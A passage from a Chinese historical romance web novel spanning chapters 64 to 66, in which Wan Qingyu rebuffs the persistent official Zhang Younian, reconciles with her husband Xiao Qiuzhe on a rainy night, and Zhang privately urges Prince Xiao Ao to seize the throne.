晚青妤见他一直跟着自己,终是开口道:“张大人,我外祖母病情日重,照料起来愈发不易。这些日子,多亏你与张伯伯尽心。前日我说让你们搬出乔府一事,不知可已安排妥当?如今母亲既已回府,照顾外祖母绰绰有余。老人家现在最需要的,是亲人在侧陪伴。” 这番话疏离冷淡,听得张攸年心头一紧。 张攸年并未动怒,他深知晚青妤对自己心存芥蒂。不知是因那日表白之事,还是旁的缘故,她如今看他的眼神总带着几分闪躲,言语间也比从前疏离许多。 他温声回道:“此事我一直在思量。只是家父实在放心不下老夫人,这些日子忧心如焚,日夜守在榻前不离寸步,连头发都熬白了几根。许是你不知,家父自幼失恃,老夫人待他视如己出,这些年又一直照料在身旁。对家父而言,老夫人便如同生身母亲一般。这般情分,教他如何忍心在此时离去?想来老夫人与家父相处十余载,也未必愿意看他离开。” 这番话情真意切,倒显得是晚青妤不近人情了。若论情谊,张家父子在乔家这些年,确实尽心尽力。如今说赶便赶,反倒显得薄情。 不过张攸年所言不假,晚青妤细想之下,发觉自己似乎一直对他存有偏见。那日在客栈,张攸年执意不撤兵,她起初确实恼怒,可后来转念一想,他身为朝廷命官,在其位谋其政,既要保全她的性命,又需捉拿付钰书归案。若让付钰书逃脱,谁知日后还会做出什么疯狂之举?人各有立场,她不能苛求人人都如萧秋折那般为她奋不顾身。 思及此,她也不愿再多言,正欲转身离去,却听张攸年忽然唤道:“青妤。”他顿了顿,“先前我与你说的那件事,你考虑得如何了?如今萧秋折既已归来,你若心有顾虑,不妨与他好好商议。昨日我在朝堂遇见他,本想邀他小酌详谈,却被他回绝了。” 他竟然还惦记着这事。晚青妤不由蹙眉,抬眸望向他,苦笑一声:“以萧秋折的性子,你觉得他会应允吗?若你当真向他开口,他怕是要提刀捅你了。” 她语气渐冷:“张攸年,你如今已今非昔比,身份地位都有了,曾经奢望不敢想的东西也都得到了,还有什么不满足的?我与萧秋折夫妻情深,日子过得很好,不需要外人插手,更不容谁来破坏我们的姻缘。你提起这事,已然影响到我们。望你日后莫要再提,更别去找萧秋折。” 晚青妤的拒绝斩钉截铁,可张攸年却仍不恼火。他目光沉沉地望着她,语气依旧温和:“无妨,爱情哪有轻易到手的道理?你如今看不上我,但只要我继续努力,说不定哪日就能入了你的眼。” 他顿了顿,声音压低几分:“又或者……我们私下往来,不叫任何人知晓,连萧秋折也瞒着。我什么都不在乎。” “你不在乎,我在乎。”晚青妤冷笑一声,“这等荒唐话,你以后莫要再说了。堂堂七尺男儿,岂能说出这般话来?” 晚青妤着实无奈,不明白他的执着在哪里,他又不是不了解萧秋折,萧秋折恼起来不得把他打个半死。 张攸年沉默片刻,忽而话锋一转:“那日在客栈,付钰书同我说了一桩事,听着甚是骇人。他说,你可能是皇贵妃的女儿,若真如此,你便是皇上的血脉。那你与萧秋折之间……” “所以是你在皇上面前告的密?”晚青妤打断他,声音陡然拔高。 张攸年坦然点头:“不错。此事关系重大,我不得不禀明圣上。你与萧秋折如今情分尚浅,若真有血亲之嫌,及早查明对你们都好。若没有,你们自可安心相守。这事终究要查,唯有皇上亲自主持滴血验亲,方能真相大白。” “你凭什么插手我的事?”晚青妤满是气氛,“张攸年,我与萧秋折之间如何,与你何干?那日付钰书如何待我,你亲眼所见,我险些命丧当场,如今你也要学他那般逼迫于我吗?你向皇上告密,就是在害我。这事若传扬开来,我岂能不受伤害?我真不明白,你们这些人脑子里装的都是什么?觉得我好欺负是吗?付钰书欺我,如今你也来欺我?” 她眼中怒火灼灼,一字一顿道:“我告诉你张攸年,我们之间绝无可能,就像我与付钰书,即便到了那般境地,他逼我喝毒、拿刀相胁、甚至要烧房子,我也绝不会应允。感情强求不来,这个道理你到现在还不明白吗?” “我知道你为何赖在乔家不走,不就是因外祖母病重,我来探望时你能多看我两眼?可多那两眼有何用?只会给我添麻烦,只会让我更厌烦你,于你又有何益?” 晚青妤本就因与萧秋折的矛盾郁结于心,此刻被张攸年这般相逼,更是怒火中烧,几乎将满腹怨气尽数倾泻而出,言辞也愈发尖锐。 张攸年见她情绪激动,连忙安抚道:“你先别急,我知道此举不妥,但你放心,此事除了皇上知晓,绝不会传扬出去。我并非要逼迫于你,只是望你能冷静思量自己的将来。这事拖不得,即便你们在外查得再多证据,若无滴血验亲,终究不能作数。唯有真正验明有无血亲,方能彻底了结。否则,你与萧秋折如何能安心相守?那日付钰书提及此事时,萧秋折也是勃然大怒,显见为此事忧心。我这般做,实则是为你们着想。” “为我们着想?”晚青妤只觉荒谬至极,冷笑道:“张攸年,你若不想我现在就撕破脸,将你父子二人即刻赶出乔家大院,就给我管好你的嘴。我明明白白告诉你,我们绝无可能,即便我与萧秋折真有血亲,即便我此生不能与他相守,也绝不会与你在一起。因为我不喜欢你,不喜欢的人,我宁死也不会委身。” 她这番话可谓绝情至极。若在往日,张攸年或许还能隐忍,任她如何冷言冷语也不动怒。可此刻见她这般决绝,他眸光渐渐黯淡,低声道:“你或许不明白,一个连颗糖都买不起给心爱姑娘的穷小子,是如何一步步走到今日的。我这般拼命,其中一部分缘由,就是为了那个姑娘。我想买尽天下甜点给她,想送她最好的首饰、最美的衣裳,带她游遍名山大川,享尽世间繁华……” 他声音愈发低沉:“可当我终于走到今日,却发现连给你买颗糖的机会都没有,你甚至不愿多看我一眼。你可知我这一路走得有多艰难?我满心期盼着将最好的一切捧到你面前,可你连看都不愿看。” “好,我放下身段,什么都不要,连名分也可以舍弃,只求你能回头看我一眼,我软话说尽,可你呢?连一丝机会都不肯给……” 说到此处,张攸年情绪明显激动起来。 他见她满眼复杂地往后退,忽然意识到失态,慌忙收敛神色,深吸一口气道:“是我失态了。我……我本不该生气,也没有资格生气。” 他勉强扯出一丝笑意,语气骤然轻松起来:“罢了,此事就此揭过。你今日可要在府中用膳?我这就让父亲去准备。” 他这般情绪转变之快,令晚青妤愈发不适。此刻她哪还有心思留下用饭,当即冷声道:“不必,我要回去了。” “我送你。“张攸年急忙道,“是回亲王府吗?” 晚青妤冷笑:“你觉得你能送我回亲王府?怕是连王府大门都走不到,半路就要被人骂死了。” 张攸年神色一黯,仍强撑着笑意:“那……你路上当心。方才那些话,你若不爱听,我往后绝不再提。过几日是我的生辰。长这么大,我还从未过过生辰。从前是没这个条件,如今父亲说定要好好操办一番,我便邀了几位好友……” 他声音渐低:“青妤,不知你可愿赏光?” 他眼中带着小心翼翼的期盼。或许对他而言,能过一个体面的生辰,已是莫大的奢望。 晚青妤自然知晓张攸年这一路走来的艰辛。从前那般困顿,如今好不容易熬出头,想过个像样的生辰也是人之常情。 他见她不语,张攸年勉强笑道:“无妨,你先回吧,若愿意来便来。” 晚青妤未再多言,转身离去。 张攸年望着她决然离去的背影,虚握了两下拳头。 谁说爱情是甜的? 晚青妤回到亲王府的一路上,心中焦灼难安,只盼着能见到萧秋折。可到了府中,依旧不见他人影。这一日本就心绪烦乱,又听了张攸年那番话,更是郁结难解。 待到暮色四合,她亲手备好晚膳,却还是没能等到萧秋折。只得又派方于去寻。不多时方于回来禀报:“少夫人,公子今日仍在陆公子府上留宿。” 晚青妤闻言,连晚膳也未用便回了寝房。这一夜,她辗转难眠,锦衾冷似铁。 直至第三日,萧秋折依旧未归。晚青妤这才恍然,他这次是真的动了怒,竟是要与她这般冷战下去。 傍晚时分,天色渐暗,细雨如丝。晚青妤立在廊下,望着雨幕出神。雨丝打湿了她的裙角,她却浑然不觉,只是痴痴地望着府门方向,盼着那个熟悉的身影能出现。 等了许久又没等到人。 这一次,晚青妤没有派方于去寻人,而是亲自命人备了马车,直奔陆府而去。到了陆府,她先向外祖父与舅舅问了安,便径直往陆临的院子行去。 谁知到了院中,萧秋折竟将自己反锁在房内,不肯见她。 陆临见她来了,指了指紧闭的房门,无奈道:“他这两日脾气倔得很,我劝了许久也无用。自打来了我这儿,饭也不好好吃,整日闷闷不乐,问什么都不肯说。蔫头耷脑的,倒像是害了场大病。” 陆临叹了口气:“我也不知你们究竟闹了什么别扭,但以我对他的了解,你只要说几句软话哄一哄,他定会好转。” 还能因为什么?不过就是她没有说出那句爱他的话。就为着这一句话,他竟三天不归家,如今她亲自来寻,他还要闭门不见。 晚青妤心中又气又恼,可气归气,人总归是要带回去的。 “你先出去等一会儿,让我与他单独说说。”晚青妤对陆临道。 陆临虽想留下听个究竟,却也不好意思,只得退出院去。 此时细雨已停,夜色渐浓,院中的灯笼在风中轻轻摇曳,投下斑驳的光影。 晚青妤走上前,轻轻叩了叩房门,里面却毫无动静。她又唤了一声:“萧秋折。” 房间里依旧寂静无声。晚青妤深吸一口气,继续道:“萧秋折,你听得见我说话吗?我知道你在生气,可我希望你别再怄气了。是,那日是我不对,不该不顾你的感受,总是瞻前顾后。这两日我想了许多,近来似乎都是你在向我诉说衷肠,而我却从未好好表明过自己的心意。今日你且听着,我要把心里话都说给你听。若你听完还是生气,或是觉得不满意,那我就搬出亲王府,再也不回来了。” “十二岁那年。”她顿了顿,头一次说起,还是有些紧张的,她声音低了几分:“十二岁那年,在城门相遇时,我一眼就看上了你。那时虽不懂什么是情爱,却知道心跳如鼓是什么滋味,那感觉,与旁人、与付钰书都不同。我开始茶饭不思,满脑子都是你,所以才能写出那样炽热的信。那些字字句句都是我亲手所写,虽有几句是抄的书上的,可也是因那话触动我,想说与你听。至于那些最真挚的话语,没有半分掺假,全是我掏心掏肺写给你的。” “后来你没给我回信,我也气恼过。喜欢一个人,自然是盼着回应的。我伤心难过了许久,后来父亲不许我再想你,加上年岁渐长,见识了更多新鲜事物,便渐渐将你淡忘了。倒也不是全然忘却,只是逼着自己不去想。中间有几年,我偶尔听闻你的消息,可一想到我们之间的差距,又怎敢奢望你的回应?只得告诫自己莫要再痴心妄想。” “再后来,我的心被付钰书占满了。我不否认那段过往,可那段情究竟是什么模样,我自己也说不真切。不过这些都不必再提了,过去了就是过去了,心里没了就是没了。我也望你往后莫要再想,更别为这些陈年旧事吃醋生气。” “虽说你性子执拗,爱吃醋、爱生气,心眼小,脾气又差,可我知道你最好哄了,几句话就能让你转怒为喜。往后我晓得该怎么做了,若有矛盾,也知道该如何哄你开心。” 她…… 房间里传出一声叹息。 晚青妤又接着道:“再后来,便是你来府上提亲那日。当时我几乎是不假思索就应下了。现在想来,许是看着你那张英俊的脸,恍惚间又回到了十二岁那年。定亲之后,我便与付钰书彻底断了往来。既决定要嫁你,自然是要一心一意与你过日子的。” 她指尖无意识地绞着衣袖:“可我心里始终忐忑。想着你十二岁时不曾接受我的心意,连封信都不肯回,又怎会真心喜欢我?就这样怀着不安嫁给了你。新婚之夜,烛光下看着你俊朗的眉眼,我其实是心动的,却又矛盾得很。我不了解你的性子,也不知你心里究竟作何想,总觉得你定是不喜欢我的。再加上付钰书那番闹腾,让你颜面尽失,说不定,你心里是厌极了我。所以当你拿出和离书时,我立刻就签了字。我不想再给你添任何麻烦。” “后来搬到山上住的那段日子,我时常想起你。可转念一想,我们之间不过是利益联姻,便不敢去打扰你。以至于每次相见,我都躲着你走,生怕给你惹麻烦。那两年里,我们竟从未好好坐下来吃过一顿饭,说过几句体己话。就这样生生错过了两年光阴。” “其实……那日你上山接我时,我心里是欢喜的。虽然说不清为何欢喜,不单单是因为你答应帮我寻找父亲和兄长的仇人,可具体是什么缘故,我自己也说不明白。” “那时我实在无法拒绝你的请求,也存了些小心思,便随你下了山。回来相处的这些日子里 ,我才发觉,我的心仍如十二岁那年一般,每每见你便怦然跳动。这份悸动让我愈发确信,萧秋折,我是真的喜欢你,从始至终喜欢的都是你。” “我从未想过,原来爱一个人竟会这般疯狂。满心满眼都是你,你去边关的这些时日,我无时无刻不在思念。我想与你朝朝暮暮,想与你白头偕老,想让你带我去尝遍天下美味,游尽四海风光。” “虽说外间种种阻碍横亘在你我之间,我又总是顾虑重重。可这两日我想通了,顾虑再多又有何用?无论结局如何,真心终究骗不了人。我喜欢你,心里装着的也只有你。萧秋折,我爱你,是真心实意地爱着你。不管往后……” 她话到这里,房门“吱呀”一声开了。 第65章 第65章“只是我那张床太小了,…… 夜色已深,小雨渐渐变成了细雨。陆临的院子虽不算大,却布置得极为雅致。四周花木扶疏,几丛夜来香被风一吹,满院都是飘香。 晚青妤立在屋檐下,檐角水珠滴答坠落,灯笼在头顶摇曳,光影在她脸上明明灭灭。她说话时神色认真,声音温和,字字句句皆是肺腑之言。 其实来陆府的路上,她原想着见面说开便好,却不料萧秋折竟闭门不见,这才惊觉事态严重。方才那番话并非事先准备的,只是见他如此决绝,才将满腹心事尽数倾出。只是她话未说完,萧秋折就开了门。 三日未见,对晚青妤而言实在度日如年。方才听陆临说起,这三日萧秋折在他府上也是茶不思饭不想,整个人都是蔫蔫的。此刻定睛细看,果然憔悴不堪。本就刚从战场归来,身形已见消瘦,如今更是瘦了一圈,看着实在令人心疼。 晚青妤见他甫一出来时,还不由微微一怔,未尽的话语都凝在了唇边。方才她说了那么多,想来萧秋折最想听的,不过就是那句“我爱你”。这不,话音刚落,他便急急开了房门。 她抬眸望去,只见他眼眶泛红,神情激动,身形笔直地立在门前,低头凝视着她。两人这般相望片刻,萧秋折忽然问她:“那……现在可以牵手了吗?” 牵手? 晚青妤眨了眨眼,立即将手递了过去。 萧秋折伸手握住她的手,往自己身前一带,又问:“那抱抱呢?亲亲呢?” 抱抱?亲亲?晚青妤愣了愣。 这三日里,萧秋折也想明白了许多,他不能因一己私欲就强求于她,情爱之事,总要水到渠成才美。生米煮成熟饭好像放在他们身上行不通。他虽很想拥有她,但也要顾忌她的感受,就算用强的,也得先把她的身世查个明白,否则会让她郁结一辈子。 但他气恼的,并不是能不能行夫妻之实,而是她心意不够坚定,连句爱他的话都不肯说。 这三日来,他食不下咽,寝不安席,时常在房中焦躁踱步。陆临还在一旁说他心胸不够豁达,太过斤斤计较。他有时气急了,就在心中发誓,往后再也不理晚青妤,她爱去哪去哪,便是要回山上住,他也不会挽留。所以,方才听说她来了,他便一时赌气将陆临推出门外,反锁了房门。 他想着这次一定要硬起心肠,任她说尽好话、道尽爱语也不为所动,非要让她尝尝被冷落的滋味。 可是。 他才听她道出那句“我爱你”,他就在屋里站不住了,迫不及待开了门,还问她能不能牵手,能不能抱,能不能亲。问完他自己都不好意思了。 晚青妤愣了一瞬后,反应过来,上前一步,一把环住他的腰身,又踮起脚尖在他脸颊上亲了一下,笑盈盈地道:“这样总可以了吧?” 不待他回答,她又伸手抚上他消瘦的脸,心疼道:“瞧这瘦的,下巴都尖了。” 她说着,牵起他的手,仰起那张如花似玉的小脸,眨着水汪汪的杏眼道:“我该怎么好好喂养,才能把我那英俊潇洒的夫君养回来呢?每天给他说好话,还是做好吃的?” 她眼角眉梢都染着笑意,红润的唇瓣像两瓣娇艳的樱桃。 她这样。 勾死人了。 哄人的本事当真了不得,三言两语就能哄得他一愣一愣的,欢喜得快要飞了。 晚青妤见他笑了,又抱住他问道:“天色已晚,夫君可愿随我回府歇息?今日的汤可是我亲手熬的,差一点就端给方于和方齐喝了。” 原来她还给他熬了汤,他眼中笑意更浓,捏了一下她的小脸,握紧她的手就往院外走。 二人刚到院门前,却见陆临猫着身子站着,看到他们眨了眨眼,心虚道:“我……没偷听,我是刚巧过来,你们要走吗?” 陆临不打自招,萧秋折瞥他一眼,道:“这三日谢了,我们回府。”说罢就要走。 陆临忙道:“哎,咱们那盘棋还没下完呢,要不下完再走?” 萧秋折哪还有心思下棋:“不必了,改日再找你下。” 他现在要和夫人回家睡觉。 陆临没再挽留,望着二人相携离去的背影,仰天叹道:“我的好姑娘何时才能从天上掉下来呢?老天,发发善心吧!” 夜雨渐渐小了,滴滴答答地落在青石板上格外好听。萧秋折牵着晚青妤的手出了陆府,说想与她走一走,便没有坐马车。 二人撑着一把油纸伞,慢慢走在被雨水洗得发亮的青石路上。起初谁都没有说话,走着走着,萧秋折扯了扯晚青妤,与她十指相扣起来。 晚青妤看了看他,见他神色转好,叫了他一声:“萧秋折。” “嗯?”萧秋折应着。 “有件事……我想与你说。” 萧秋折微顿了下脚步,似乎猜出她想说什么,道:“你说,我听着。” “张攸年……他向我表白了。这事我觉得该亲口告诉你。” 晚青妤觉得既然全心全意接纳了他,就不该有所隐瞒,更不该把她和其他异性的关系呈现出一种模棱两可的状态。 萧秋折已是料到她要说这个,只淡“嗯”了一声,没多言语。 晚青妤继续道:“张攸年此人,说来也颇为复杂。他与我们全然不同,虽说出身不能定终身,可性子却能左右前程。幼时他怯懦得很,总跟在付钰书身后,受了欺负也不敢吭声,连哭都不敢哭。那时我便想,这般小的孩子竟如此能忍,只怕这性子要伴他一生了。” “后来年岁渐长,到了十几岁时,他倒是开朗了些。有两年外出习武,回来时竟似脱胎换骨,不仅身量高了,性子也爽利许多,待人接物也圆融了。许是寻到了自己的长处,与人相处时不再那般自卑。” “再后来他跟随我二哥,勤学苦读,这些年也算小有成就。他确实聪慧,读书刻苦,连言书堂的案子也是他破的,这才得了皇上重用,如今一跃成了二品大员,挺令人刮目相看。” 说到这里,晚青妤微微蹙眉:“不过你也瞧得出,此人城府极深,喜怒不形于色,情绪转变之快,令人捉摸不透。方才还在置气,转眼又能说尽好话。我至今也看不透他究竟是怎样的人。那日他突然表白,说要给我做情人,连名分都不要,甚至让我来与你商议。若是个寻常男子,纵有这般心思,也断不会让女方去与正室夫君说道。当时我很震惊,细想来,许是与他这些年的经历和性格有关。” “他自幼在乔家大院长大,眼见着我们这些人光鲜亮丽地生活,又常受付钰书打压。长此以往,性子难免扭曲。他说出那番话,未必是真心,许是骨子里的自卑作祟,又或是另有所图。可他与付钰书截然不同,这才更叫人忧虑。付钰书好歹喜怒形于色,可张攸年,你永远猜不透他究竟在想什么。” “昨日我去外祖母家探望时,又遇见了他。他竟再次提起那荒唐事,还让我来问你的意思。我当场就回绝了他。并且皇上知晓我身世的事,也是他告的密。他说是为了让我们早日查明真相,好从这煎熬中解脱。可这分明是越俎代庖, 我们的事与他何干?我与他非亲非故,他凭什么插手?” 雨水落在油纸伞上,滴滴答答,晚青妤的嗓音也清冷了些许:“如今他们父子赖在乔家大院不走,外祖母病情沉重,也不便挪动。我已多次暗示他们搬离,可张攸年始终不肯,很是让我为难。他们在乔家这么多年,照顾外祖母尽心尽力,总有些情分在。况且外祖母尚未发话,我也不好强行赶人。” 说到这里,她轻叹了口气,指尖在萧秋折掌心微微收紧:“萧秋折,我将这些告诉你,是怕日后生出什么误会。张攸年此人行事难测,保不齐日后会做出什么疯狂之举,影响到我们。你们同在朝堂,难免抬头不见低头见,恐生矛盾。” “不过你放心,无论他如何纠缠,我都不会动摇。我也会尽量避免与他接触。我只希望你不要为此事烦心,更不要冲动行事。你如今凯旋归来,在朝中根基未稳,首要之事是巩固权位,莫要被这些琐事扰了心神。即便日后张攸年亲自找你,你也要沉着应对。” “人心叵测,谁又能真正看透他人心思?或许张攸年是在试探我,亦或是在试探你我之间的情意,更甚者,他另有所图。” 她的声音在雨夜中格外清晰:“萧秋折,我既已与你结为夫妻,此生便不会再起二心,这一点你大可放心。” 这便是晚青妤,无论何时都保持着清醒的头脑,甚至比许多男子都要通透。她善于审时度势,遇事从不藏着掖着,而是坦诚相告,细细分析。 她这份**,让萧秋折愈发珍视。她最动人的地方,不单是那样貌,也不仅是哄人的本事,而是能设身处地为他人着想。即便对纠缠不休的张攸年,她在解释时也不忘剖析其成长经历,分析其性格成因。不是一味恼怒,而是试着理解对方立场,再将事情掰开揉碎讲明白。 与这样的女子相伴,实在是人生至幸。萧秋折这才明白,自己这三日因为张攸年吃的醋着实可笑,气得食不下咽更是多余。 经她这般解释,张攸年之事竟显得不那么重要了。真正要紧的是她晚青妤的态度。她说的如此明确,怎能让他不放心。 两人的手始终紧紧相扣。 萧秋折停下脚步,在她面前蹲下身来:“走了这么久,该累了。上来,我背你。” 背她? 晚青妤看了看他的神色,虽知他不愿多提张攸年,但从他舒展的眉宇间看得出,自己的话他都听进去了,日后也会依着她的意思行事。 她抿唇轻笑:“还是别了,你这些日子吃了那么多苦,又生了那么大的气,我怎忍心让你背?” 他却不依,拍了拍自己的肩膀道:“放心,我的肩膀可以为你撑起一片天地。无论何时,都背得动你。” 夜雨朦胧中,他的声音和言语都那么好听。 晚青妤满心触动,不再推辞,上前趴在他背上,双臂环住他的脖颈,道:“那就劳烦夫君背我回去了。” 她说完,将脸颊贴在他宽厚的背上,肩膀温暖坚实,当真能为她撑起一片天地。 萧秋折将她稳稳托起向前走去。 晚青妤忽而问道:“萧秋折,若有朝一日查明我的身世,我并非皇上血脉,与你也没有血亲关系,到那时,你想做的第一件事是什么?” 她问得突然,萧秋折脚步微顿了一下。他将她往上托了托,让她趴得更舒服些,清声回道:“我想带你去我母亲坟前,让她见见她的儿媳。告诉她,她的儿子如今有人疼、有人爱了,请她安心。” 想必母亲在天之灵也期盼着他能过得幸福美满。 他这话让晚青妤心头一酸,脸颊在他背上轻轻蹭了蹭,道:“好,我一定随你一起去,我要告诉婆母,让她放心,她的儿子我会照顾好的,也会好好疼他爱他。” 有这样的夫君,也是她今生有幸。 “萧秋折,我母亲已经回府了。上次同你说过,要让她给你做好吃的。那日听说你凯旋归来,她欢喜得很。今日,可愿随我去晚府见见她?” “自然愿意,我们现在就去。我早就想尝尝岳母的手艺了。还有,今晚我能不能留在晚府过夜?你那闺房,我可是一次都没睡过呢。” 晚青妤没有立即作答。 萧秋折“唔”了一声,问她:“怎么了,你不愿意?” 晚青妤嘿嘿一笑:“不是不愿,只是我那张床太小了,你这般高大的身形,怕是要把我挤到床下去,而且……” 她顿了顿,欲言又止。 萧秋折会意,低笑一声:“你放心,在你身世未明之前,我自会尊重你的意思。不过,我想抱着你睡,这个你可不能推辞。” “好,我不推辞。” 萧秋折忽然停下脚步,晚青妤问他:“怎么了?” 萧秋折沉吟片刻,道:“我准备搬到乔家大院住一段时间。” 晚青妤惊讶问道:“你要住进外祖母家?为何?” “照顾外祖母。” 顺便监视张攸年。 “那,张攸年还在乔家大院住着,你俩……住在同一屋檐下?” 这能行? “放心,我尽量不打他。” —— 这些时日,萧敖忙于搜集付家多年来的罪证,且又与朝中众官员打交道,一时忙的不可开交,难得回府一趟。 今夜他刚回府,便见张攸年登门拜访。 这是张攸年头一回来亲王府,他径直去了萧敖的院子。近来二人往来密切,关系颇为亲近。 萧敖见他来访,含笑相迎:“张大人请坐,来人,上茶。” 张攸年向萧敖深深一揖,恭敬道:“多谢王爷。” 待落座后,他目光又扫过院中那棵挂满铃铛的古树,含笑问道:“方才进院时,见那树上铃铛叮咚,不知可是有什么讲究?或是风水之说?” 提起那棵树,萧敖眉梢微扬:“那是萧秋折挂的。自小就顽皮,三天两头往我院子里跑,在树上挂铃铛。风一吹,叮叮当当的,听着倒也悦耳。” 萧敖言语间竟带着几分宠溺,如今不似曾经那样一提起这些铃铛就把拳头握起。 近来他对萧秋折的态度有了很大的转变,尤其是萧秋折此番斩杀边关霸主獒利,一举收复五座城池,更让他刮目相看。从前只知萧秋折在文采斐然,不想战场上竟也如此骁勇,且谋略过人。如今他在兵部掌权,为亲王府也挣足了脸面。 张攸年见萧敖提起萧秋折时满眼笑意,心中暗忖,传闻他们父子不和,看来近来关系缓和不少。他轻笑一声,然后正色道:“王爷,下官此次前来,实有要事相商。” 张攸年自一登门萧敖便猜出必有要事。近来吏部诸事,张攸年都及时向他禀报,让他对朝中局势能够及时了解。如今他正需要得力助手,而张攸年确是个不错人选。他抬手示意:“但说无妨。” 张幼年语气中带着几分凝重:“臣亦有所耳闻,太后暗中涉政之事,已然非一日。经臣细密探查,竟发现太后私下与数位官员勾连,更有诸多地方豪强,以金银为饵,购得官帽,致使那些无能之辈得以窃据高位,地方发展因而迟缓。此事初看似微不足道,然水滴石穿,时日一久,必将累及国家根本。” “国家之栋梁,皆需精挑细选,方能担纲大任,每一决策,亦需利国利民。而今太后直接干预朝政,其背后之意,臣揣测或有非分之想。皇上对此,似乎亦有所闻,更曾亲自与太后对谈。然皇上孝心可嘉,念及太后昔日为其皇位之争,不惜以身犯险,甚至险些丧命,所以对太后尊崇备至,此事即便心知肚明,也难以痛下决心阻止。” “且皇上近年来,行事愈发不力,更迷信付家学说,以为借此可安民治世。殊不知,此等思想,实则蛊惑民心,久而久之会另国家瘫痪。皇上的眼界与远见,未能跳出帝王之局限,臣心忧如焚,以为若继续如此,奕国的未来,恐将危矣。” 张有年谈及此事,言辞竟毫无顾忌,即便是在皇上与太 后之事上,也敢直言不讳,着实让萧敖震惊。 萧敖望着他,感觉此人确有不凡之处,如此敏感之事,他竟能坦然说出口,心中不禁生出几分欣赏。随即,他沉声道:“你所言之事,本王亦略知一二,心中亦是忧虑重重。只是,太后涉政之事,需有确凿证据,方能定论,否则,恐难以服众。至于皇上那边,若他一直偏听偏信,也怕会生出诸多变故,影响到国家。” 说到这里,萧敖未再继续。 张有年忽地站起身,恭敬地向他行了一礼,言辞恳切道:“臣以为,国家有难,匹夫有责。臣斗胆进言,望王爷能够消除忧患,挺身而出,治理国家。以王爷之才学、才干,远胜皇上,再加上如今世子于兵部地位显赫,威望极高,若王爷此时振臂一呼,必能引得无数大臣、官员乃至天下百姓拥戴。待我们将太后与皇上之所作所为,昭告天下,王爷登基为帝,想来并非难事。” 张有年此言一出,房间里顿时鸦雀无声。 他竟直接提出让萧敖谋朝篡位,着实其胆大包天。 萧敖好一会儿都未开口,只是静静地审视着他。而后,他忽而一笑道:“张大人果然深得本王喜爱。你所言之事,非同小可,需得谨慎。” 说到这里,他再次停顿。他身为皇家亲王,历经风雨,心智坚韧,更是个极其聪明的人,他明白什么话该说,什么话不该说,更清楚什么话对自己有利。 而张攸年自然也明白这一点,否则,他也不会如此大胆地提出此言。 过了一会,张攸年恭恭敬敬地跪在地上,行了一礼道:“王爷放心,此事微臣定当竭力而为,愿做那开山凿路之人,为王爷铺设一条坦荡前行的大道。” 如此张攸年算是彻底表明自己今后将忠心耿耿地辅佐萧敖,为他所用。 时下的萧敖,若是身边能有如此贴心且忠诚之人,确是一件好事。他走到张攸年跟前,亲自将他扶起,笑道:“张大人有此心意,本王深感开心,日后定会多加照应。” 言罢,他又关切地问道:“晚饭可曾用过?不如就留在亲王府中,本王让人备下酒宴。” 张攸年已明萧敖认可了他,急忙行礼道:“多谢王爷厚爱,微臣确实尚未用饭,那便斗胆留下,与王爷共进一餐。” 萧敖拍了拍他的肩膀,又笑道:“日后与本王相处,不必如此客气,亲王府的大门随时为你敞开,经常过来坐坐,本王也许久未有如此称心的朋友了。” 萧敖用到“朋友”一词,显然是对张攸年极为器重。 张幼年急忙应是,随即问道:“不知萧世子是否在府上?” 他口中的萧世子便是萧秋折。 萧敖回道:“我也不知他此刻是否在府,张大人找他有事?” 张攸年:“微臣对萧世子钦佩之至,他以一己之力收复边关,又连克五城,着实令人佩服。微臣一直想找机会与他共饮一杯,今日恰逢其时,不知王爷能否恩准微臣前去请他一同用饭?微臣也想借此机会,向他请教一二。” 张攸年说话十分客气,萧敖没有拒绝:“好,我让人去叫他。” 张攸年却道:“微臣想亲自请他,以表诚意。” 萧敖不好拂了他的好意,便道:“他时下住在兰风居,我让人带你过去。” “多谢王爷。”张攸年再次行礼,随后退出了房间。 他一路向兰风居行去。 第66章 第66章她越是退缩,他越是兴奋…… 这一日,萧秋折与晚青妤一同前往王府拜见岳母。二人先在街市上精心挑选了几样礼品,方才登门造访。甫一入府,便见阖家老小皆在院中等候。 晚青妤的母亲乔言一见萧秋折,顿时喜出望外,连忙上前相迎:“秋折啊,快进屋来,岳母许久未见你了,近来可好?” 乔言言语间满是慈爱。 萧秋折见她如此热情,心中感动,当即深深一揖道:“拜见岳母。小婿近来尚好,只是军务繁忙,一直未能前来探望,还望岳母见谅。” 他说罢,又转向一旁的晚青禾,关切问道:“二哥伤势如何了?” 晚青禾爽朗一笑,推着轮椅上前:“好多了,你瞧,如今我都能自己推着轮椅四处活动了。” 这段时日的调养,加之夫人悉心照料,晚青禾的伤势确实恢复得极好。 晚青桁听闻萧秋折在边关斩杀霸主獒利,连克五城的战绩,早已心生仰慕。此刻见他亲临,激动地上前深深一揖:“姐夫!小弟实在佩服得紧。不知何时能听您讲讲如何大败獒利?如今京中人人都在传颂您的战绩,连我的同僚们都争相巴结,想托我引荐,拜在您门下呢!” 萧秋折如今是京城的大红人,人人都想与他认识。 萧秋折谦逊一笑,道:“哪有这般厉害。待得闲时,我将征战之事细细说与你听。若你想学些什么,尽管来找我。” 他顿了顿,又道:“我正想着,何时将你调到兵部任职。如今你在吏部张攸年手下当值,终究不如来我这里便宜。” 晚青桁在张攸年手下,晚青妤一直放心不下。若能调至萧秋折麾下,自是再好不过。 晚青桁喜形于色:“那小弟就静候佳音了,回头我便与攸年哥哥商议,看他能否放人。” 晚青桁言语间满是期待。 这段时日,张攸年对晚青桁颇为照拂。晚青桁年少时常去外祖母家玩耍,与张攸年交情甚笃。他素来敬重张攸年为人正直,能忍常人所不能忍,如今官居二品,更是令他钦佩不已。 晚青桁一句“攸年哥哥”脱口而出,萧秋折闻言,眸色微沉,却未作声。 晚青妤见状,心知此刻不宜在萧秋折面前提及此人,忙岔开话头道:“母亲,今日可要做什么好吃的?我与萧秋折还未用晚膳,您可要露一手,让他尝尝您的手艺。” 乔言展颜一笑道:“自是要做顿好吃的宽带秋折,那我现在就去准备,把拿手菜都给你们做一遍。” 晚青禾也笑道:“父亲珍藏的好酒还有几坛,都是难得的佳酿。他从前舍不得喝,如今留给了我们。我现在身子不便饮酒,正好拿出来给妹夫尝尝。” 面对一家人的热情,萧秋折心中暖意融融,连连颔首称谢。 乔言去厨房张罗饭菜,晚青妤也跟去帮忙。萧秋折则与晚青禾、晚青桁在院中聊起边关惊心动魄的战事。 五月的晚风轻柔,院子里笑语盈盈,一派和乐景象。 厨房里,乔言一边切菜,一边不时往门外张望,含笑问道:“你们二人看着倒是恩爱。跟娘说说,秋折待你可好?” 